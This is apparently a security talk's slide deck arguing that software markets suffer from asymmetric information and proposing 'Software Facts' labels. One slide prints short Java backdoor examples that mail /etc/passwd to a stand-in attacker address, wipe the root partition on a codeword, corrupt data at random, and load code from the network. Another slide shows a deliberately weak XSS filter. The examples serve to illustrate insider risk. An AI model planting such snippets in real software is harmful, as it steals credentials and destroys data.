Unsafe At Any (CPU) Speed

Why We Make The Same Security Mistakes Over And Over Again

Jeff Williams
CEO, Aspect Security
jeff.williams@aspectsecurity.com
410-707-1487
Columbia, MD
Remember the Corvair?

UNSAFE AT ANY SPEED
The Designed-In Dangers Of The American Automobile
By Ralph Nader
The Automobile Market

- **25 Years Ago**
  - Most cars were built without safety features
  - No seatbelts, airbags, crumple zones, side impact protection, etc…

- **Many different forces affected the market**
  - Pinto, Nader, Oil Crisis, Regulation, lots more…

- **Automakers include more safety features**
  - Becomes a critical buying factor
  - Competitors must improve to compete

- **Today**
  - Can’t sell a car without safety
Our Software Is Unsafe

- Most applications have egregious mistakes
- We don’t capture application security policy and requirements
- We don’t teach software developers about security
- We outsource software development overseas
- We use code from untrusted (open) sources
- Most source code is never reviewed
- We rely on scanning and penetration testing
- We don’t ask vendors why we should trust their software

We don’t have any idea whether our code is trustworthy or not
Current Software Security

- Applications are easily compromised
  - Generally hours, always in days
  - No special knowledge or tools required

- “New” vulnerabilities are exceedingly rare
  - We’re making the same mistakes over and over

- No differences between…
  - Healthcare, financial, utilities, e-commerce, government, military
  - Intranet, Extranet, Internet

- Projects are ignoring application security
  - Requirements do not cover application security
  - Testing and C&A do not cover application security
Software Is A Black Box

- Complex
  - Millions of lines of code
  - Leaky abstractions
  - Massively interconnected

- Compiled
  - Difficult to reverse engineer
  - Different on every platform

- Legal Protections
  - No peeking
  - We’re not liable
public class DamagedStrutsForm extends ActionForm {
    public void doForm( HttpServletRequest request) {
        UserBean u = session.getUserBean();
        u.setName(request.getParameter("name"));
        u.setFavoriteColor(request.getParameter("color"));
    }

    public boolean validate( HttpServletRequest request) {
        try {
            if ( request.getParameter("Name").indexOf("<scri") != -1 ) {
                logger.log("Script detected");
                return false;
            }
        }
        catch( Exception e ) {} 
        return true;
    }
}
What Could a Malicious Developer Do?

- **Trojan Horse runs for admin**
  
  ```java
  if ( System.getCurrentUser().getName().equals( “admin” ) )
  Runtime.exec( “sendmail hacker@badguys.com < /etc/passwd” );
  ```

- **Secret trigger removes all files on root partition**
  
  ```java
  if( req.getParameter( “codeword” ).equals( “eagle” ) )
  Runtime.exec( “rm –rf /” );
  ```

- **Randomly corrupt data one time in 100**
  
  ```java
  if ( Math.random() < .01 ) bean.setValue( “corrupt” );
  ```

- **Load and execute code from remote server**
  
  ```java
  ((A)(ClassLoader.getSystemClassLoader().defineClass
  (null, readBytesFromNetwork(),0,422).newInstance())).attack();
  ```

- **Make backdoor look like inadvertent mistake**
  
  ```java
  if ( input < 0 ) throw new RuntimeException( “Input error” );
  ```

Impossible to tell malicious from mistake

Who wrote the libraries your application uses?
Software Security Is A Different World

- **Network Security**
  - Part of IT
  - Networking Experts
  - Product Focused
  - 1000’s of Copies
  - Signature Based
  - Patch Management

- **Software Security**
  - Part of Business Units
  - Software Experts
  - Custom Code Focused
  - 1 Copy of Software
  - No Signatures
  - Prevent Vulnerabilities

Don’t let anyone rely on network security techniques to gain software security
Vulnerability Analysis – Software Style

The combined approach is the most cost-effective
How Do We Prevent Flaws From Happening

- Lots of Techniques
  - Formal Modeling
  - Process Assurance
  - Penetrate and Patch
  - Manual Code Review
  - Static Analysis
  - Developer Training
  - Top Ten Lists
  - Secure Programming Books
  - Bugtraq
  - Common Criteria

None of these are changing the way software gets developed.
“The Market for Lemons”

- By George Akerlof in 1970 (Nobel Prize for Economics in 2001 for this work)
- Buyers can’t tell cherries from lemons (asymmetric information)
- Market price decreases to compensate for the risk
- Cherry owners are less inclined to sell
- Therefore, even a competitive market is filled with lemons
The Software Market

■ Worse than the automobile market

■ Asymmetric information is carefully protected
  ▶ Extremely difficult to analyze software (even with source)
  ▶ Restrictive license agreements
  ▶ Legal and regulatory restrictions on security analysts

■ Virtually guarantees insecure software
  ▶ If you can’t tell the difference, why pay more?
  ▶ No way to establish the benefit of secure software

■ Until recently, making secure software didn’t make sense
Fixing a Broken Market

■ In a rational software market....

► Buyers and sellers would share an understanding of security
► Market forces determine what the right level of security is
Another Broken Market

- What’s In That Food?
  - Before 1974 no way to find out

- Nutrition Facts Program
  - Changed the market
  - Fixed asymmetric information problem

- 30 Years Later
  - Program is catching on

---

**Nutrition Facts**

Serving Size (64g)
Servings Per Container 2

<table>
<thead>
<tr>
<th>Amount Per Serving</th>
<th>Calories 280</th>
<th>Calories from Fat 100</th>
</tr>
</thead>
<tbody>
<tr>
<td>% Daily Value*</td>
<td>% Daily Value*</td>
<td></td>
</tr>
<tr>
<td>Total Fat</td>
<td>11g</td>
<td>16%</td>
</tr>
<tr>
<td>Saturated Fat</td>
<td>3g</td>
<td>16%</td>
</tr>
<tr>
<td>Cholesterol</td>
<td>5mg</td>
<td>2%</td>
</tr>
<tr>
<td>Sodium</td>
<td>15mg</td>
<td>1%</td>
</tr>
<tr>
<td>Total Carbohydrate</td>
<td>36g</td>
<td>12%</td>
</tr>
<tr>
<td>Dietary Fiber</td>
<td>6g</td>
<td>24%</td>
</tr>
<tr>
<td>Sugars</td>
<td>16g</td>
<td></td>
</tr>
<tr>
<td>Protein</td>
<td>11g</td>
<td></td>
</tr>
</tbody>
</table>

- Vitamin A 0%
- Vitamin C 120%
- Calcium 6%
- Iron 20%

*Percent Daily Values are based on a 2,000 calorie diet. Your daily values may be higher or lower depending on your calorie needs:

<table>
<thead>
<tr>
<th>Calories: 2,000</th>
<th>2,500</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total Fat</td>
<td>Less than 65g</td>
</tr>
<tr>
<td>Saturated Fat</td>
<td>Less than 20g</td>
</tr>
<tr>
<td>Cholesterol</td>
<td>Less than 300mg</td>
</tr>
<tr>
<td>Sodium</td>
<td>Less than 2,400mg</td>
</tr>
<tr>
<td>Total Carbohydrate</td>
<td>300g</td>
</tr>
<tr>
<td>Dietary Fiber</td>
<td>25g</td>
</tr>
</tbody>
</table>

Calories per gram:
- Fat 9
- Carbohydrate 4
- Protein 4
What Would You Like to Know?

■ Facts
  ▶ How many lines of code?
  ▶ What languages are used?
  ▶ What libraries does this application use (and how)?
  ▶ What type of network access is required (client, server, none)?
  ▶ What security mechanisms are used?
  ▶ What are the configuration files associated with the application?

■ Vendor Input
  ▶ How are sensitive assets protected?
  ▶ What vulnerabilities have been identified in this product?
  ▶ How to find security documentation (design, test results, vulnerabilities)?
  ▶ How should security flaws be reported?
  ▶ Who developed this code?
  ▶ What assurance activities occurred (analysis, code review, test, evaluation)?
Software Facts – For Consumers

- **“Security Facts”**
  - Voluntary
  - Absolutely simple to produce for vendors
  - Perhaps a central repository?
  - Make tools available to everyone

- **Contents**
  - Facts automatically generated
  - Other vendor claims in a standard format

- **Empower consumers**

**Ingredients:** Sun Java 1.5 runtime, Sun J2EE 1.2.2, Jakarta log4j 1.5, Jakarta Commons 2.1, Jakarta Struts 2.0, Harold XOM 1.1rc4, Hunter JDOMv1

---

**Software Facts**

<table>
<thead>
<tr>
<th>Expected Number of Users</th>
<th>15</th>
</tr>
</thead>
<tbody>
<tr>
<td>Typical Roles per Instance</td>
<td>4</td>
</tr>
</tbody>
</table>

| Amount Per Serving | Modules | 155 | Modules from Libraries | 120 |

<table>
<thead>
<tr>
<th>% Vulnerability*</th>
<th>Cross Site Scripting</th>
<th>65%</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Reflected</td>
<td>15%</td>
</tr>
<tr>
<td></td>
<td>Stored</td>
<td>15%</td>
</tr>
<tr>
<td>SQL Injection</td>
<td>2</td>
<td>10%</td>
</tr>
<tr>
<td>Buffer Overflow</td>
<td>5</td>
<td>95%</td>
</tr>
<tr>
<td>Total Security Mechanisms</td>
<td>3</td>
<td>10%</td>
</tr>
<tr>
<td>Modularity</td>
<td>.035</td>
<td>0%</td>
</tr>
<tr>
<td>Cyclomatic Complexity</td>
<td>323</td>
<td></td>
</tr>
<tr>
<td>Encryption</td>
<td>3</td>
<td></td>
</tr>
</tbody>
</table>

|                | Authentication  | 4%  |
|                | Access Control  | 2%  |
|                | Input Validation| 20% |
|                | Logging         | 4%  |

* % Vulnerability values are based on typical use scenarios for this product. Your Vulnerability Values may be higher or lower depending on your software security needs.

<table>
<thead>
<tr>
<th></th>
<th>Usage</th>
<th>Intranet</th>
<th>Internet</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cross Site Scripting</td>
<td>Less Than</td>
<td>10</td>
<td>5</td>
</tr>
<tr>
<td>Reflected</td>
<td>Less Than</td>
<td>10</td>
<td>5</td>
</tr>
<tr>
<td>Stored</td>
<td>Less Than</td>
<td>10</td>
<td>5</td>
</tr>
<tr>
<td>SQL Injection</td>
<td>Less Than</td>
<td>20</td>
<td>2</td>
</tr>
<tr>
<td>Buffer Overflow</td>
<td>Less Than</td>
<td>20</td>
<td>2</td>
</tr>
<tr>
<td>Security Mechanisms</td>
<td>10</td>
<td>14</td>
<td></td>
</tr>
<tr>
<td>Encryption</td>
<td>3</td>
<td></td>
<td>15</td>
</tr>
</tbody>
</table>
Security and Libraries

- Why study libraries?
  - Modern applications use libraries
  - We know what the libraries do
  - Lots of information to gather

- Interesting information
  - Calls to security mechanisms
    - This application uses SHA-1
  - Calls to dangerous methods
    - Use of Runtime.exec()
  - Calls to different technologies
    - This application uses SOAP
  - Failure to use a mechanism
    - No logging in application
    - No regular expressions used
    - No standard authentication
Choose a Product Category

- **Auto Products**
  - Brake Fluid, De-icer, Lubricant, Sealant, and more...

- **Pesticides**
  - Animal Repellent, Fungicide, Herbicide, Insecticide, and more...

- **Landscape / Yard**
  - Fertilizer, Lawn Care, Swimming Pool Products, and more...

- **Personal Care / Use**
  - Antiperspirant, Hair Spray, Makeup, Shampoo, Soap, and more...

- **Home Maintenance**
  - Caulk, Grout, Insulation, Paint, Putty, Stain, and more...

- **Arts & Crafts**
  - Adhesive, Glue, Glue, Primer, Varnish, and more...

- **Pat Care**
  - Flea & Tick Control, Litter, Stain/Crøor Remover, and more...

- **Inside the Home**
  - Air Freshener, Bleach, Toilet Bowl Cleaner, and more...

### Material Safety Data Sheets – For Researchers

- Prepared by manufacturers or importers to describe characteristics of the product and to provide information concerning potential hazards.

- Must be readily available for employee review at all times the employee is in the work place.

### Information in an MSDS

- Company Information
- Hazardous Ingredients
- Physical Data
- Fire and Explosion Hazard Data
- Health Hazard Data
- Reactivity Data
- Spill or Leak Procedures
- Special Protection Information
- Special Precautions
Conclusion

■ Challenge
  ▶ Produce code that we can trust

■ Obstacles
  ▶ Huge numbers of legacy applications
  ▶ Huge numbers of applications in deployment
  ▶ Minimal understanding of the problem
  ▶ Market forces working in opposite direction

■ Approach
  ▶ Influence market to encourage secure software
Thank You

- Questions and Discussion?